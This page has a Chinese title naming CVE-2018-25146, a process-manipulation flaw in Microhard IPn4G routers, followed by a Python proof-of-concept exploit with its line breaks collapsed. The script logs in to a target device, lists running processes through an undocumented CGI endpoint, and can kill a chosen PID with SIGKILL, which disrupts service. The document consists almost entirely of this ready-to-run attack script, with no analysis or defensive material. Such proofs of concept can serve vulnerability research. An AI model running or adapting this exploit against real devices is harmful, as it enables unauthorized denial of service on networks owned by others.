CVE-2018-25146 Microhard IPn4G未授权进程操作漏洞

import requests import sys # CVE-2018-25146 PoC - Microhard IPn4G Process Manipulation # Target: Microhard Systems IPn4G 1.1.0 def exploit(target_ip, username, password, target_pid=None): """ Exploit for CVE-2018-25146 - Undocumented process manipulation vulnerability Allows authenticated users to list and manipulate running processes """ base_url = f"http://{target_ip}" # Step 1: Authentication login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(f"{base_url}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: List running processes via hidden interface list_processes = session.get(f"{base_url}/cgi-bin/process_manager?action=list") if list_processes.status_code == 200: print("[+] Process list retrieved successfully") print(list_processes.text) else: print("[-] Failed to list processes") return False # Step 3: Kill target process (if PID provided) if target_pid: kill_data = { 'action': 'kill', 'pid': target_pid, 'signal': '9' # SIGKILL } kill_response = session.post(f"{base_url}/cgi-bin/process_manager", data=kill_data) if kill_response.status_code == 200: print(f"[+] Process {target_pid} terminated successfully") print("[!] Service disruption may occur - device restart may be required") return True else: print(f"[-] Failed to kill process {target_pid}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> [target_pid]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] pid = sys.argv[4] if len(sys.argv) > 4 else None exploit(target, user, pwd, pid)